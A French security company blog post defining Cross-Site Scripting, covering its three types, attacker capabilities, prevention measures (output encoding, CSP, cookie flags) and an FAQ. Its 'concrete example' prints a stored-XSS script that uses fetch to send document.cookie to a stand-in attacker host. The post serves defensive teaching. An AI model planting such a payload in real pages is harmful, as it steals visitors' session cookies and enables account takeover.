LAUCKED
ConnexionDemander un diagnostic
← Blog/17 avril 20265 min de lecture

XSS (Cross-Site Scripting) : définition et prévention

Le Cross-Site Scripting (XSS) est une vulnérabilité web qui permet à un attaquant d’injecter du code JavaScript malveillant dans les pages vues par d’autres utilisateurs. Présente dans l’OWASP Top 10, elle permet le vol de sessions, le détournement de comptes et la défiguration de sites.

R
Rayan DibOSCPOSEP·CTO & co-fondateur - Laucked

Pentest web & API, audit IA, Toulouse, méthodologie OWASP/PTES

17 avril 2026·5 min de lecture·Fondateurs·LinkedIn

Les 3 types de XSS

  • XSS réfléchi (Reflected) : le script malveillant est injecté via l’URL et exécuté immédiatement dans la réponse du serveur.
  • XSS stocké (Stored) : le script est persisté en base de données et exécuté à chaque consultation de la page par un utilisateur.
  • XSS DOM-based : l’injection se produit côté client, en manipulant le DOM JavaScript sans passer par le serveur.

Que peut faire un attaquant avec un XSS ?

Vol de cookies de session, redirection vers un site de phishing, enregistrement des frappes clavier (keylogger), défiguration du contenu visible, ou exécution d’actions au nom de la victime (CSRF chainé).

Comment se protéger du XSS ?

  • Échapper systématiquement les sorties HTML (output encoding).
  • Utiliser une Content Security Policy (CSP) restrictive.
  • Valider les entrées côté serveur et côté client.
  • Configurer les cookies avec les flags HttpOnly et SameSite.

Exemple concret de XSS stocké

Un champ commentaire stocke le texte tel quel et l'affiche via innerHTML :

<div>Message: <script>fetch('//attacker.com/?c='+document.cookie)</script></div>

Chaque visiteur exécute le script : le cookie de session est envoyé à l'attaquant. Score CVSS typique : 8.0 (Haut).

FAQ XSS

Les frameworks modernes (React, Vue, Angular) protègent-ils des XSS ?

Oui par défaut, via l'auto-escaping des chaînes. Les risques résiduels : dangerouslySetInnerHTML (React), v-html (Vue), bypassSecurityTrust (Angular) — tous bypassent la protection.

Une Content Security Policy (CSP) suffit-elle ?

Non. Une CSP stricte réduit fortement l'impact d'une XSS mais n'empêche pas l'injection elle-même. Elle doit venir en complément de l'escaping côté serveur et client.

XSS peut-elle mener à une compromission totale ?

Oui, via le vol de session admin, le CSRF auto-exécuté ou l'exfiltration de données via fetch. Sur un back-office admin, une XSS stockée équivaut souvent à une prise de contrôle complète.

Un scan automatique détecte-t-il toutes les XSS ?

Non. Les XSS réfléchies triviales oui, mais les DOM-based, les stockées conditionnées à un contexte utilisateur et les mutation XSS nécessitent un pentester manuel.

Articles liés

  • → OWASP Top 10 — A03:2021 Injection
  • → Injection SQL
  • → SSRF (Server-Side Request Forgery)
  • → Score CVSS
  • → Pentest web et API Laucked

Besoin d'un pentest ?

Chez Laucked, nous testons vos applications web, API et intégrations sensibles avec une méthodologie OWASP/PTES. Diagnostic de surface gratuit, rapport sous 48-72h.

Demander un diagnostic gratuit
LAUCKED

Diagnostic de surface, pentest expert et Guard pour les PME exposées au web, aux API et aux intégrations sensibles.

Bât. Gamma, 11 Bd Déodat de Séverac

31770 Colomiers (Toulouse)

+33 7 43 58 07 38
6 certifications et qualifications →

Produit

  • Pentest PME
  • Pentest Toulouse
  • Pentest Lyon
  • Pentest Bordeaux
  • Pentest Marseille
  • Pentest Montpellier
  • Pentest Nantes
  • Conformité
  • Méthodologie
  • Tarifs
  • Sécurité

Ressources

  • Blog
  • Références
  • Presse
  • Changelog
  • Statut

Entreprise

  • Pourquoi Laucked
  • Centre de confiance
  • Auteur
  • Contact
© 2026 Laucked. Tous droits réservés.
Politique de confidentialitéConditions d'utilisationAddendum de traitement des données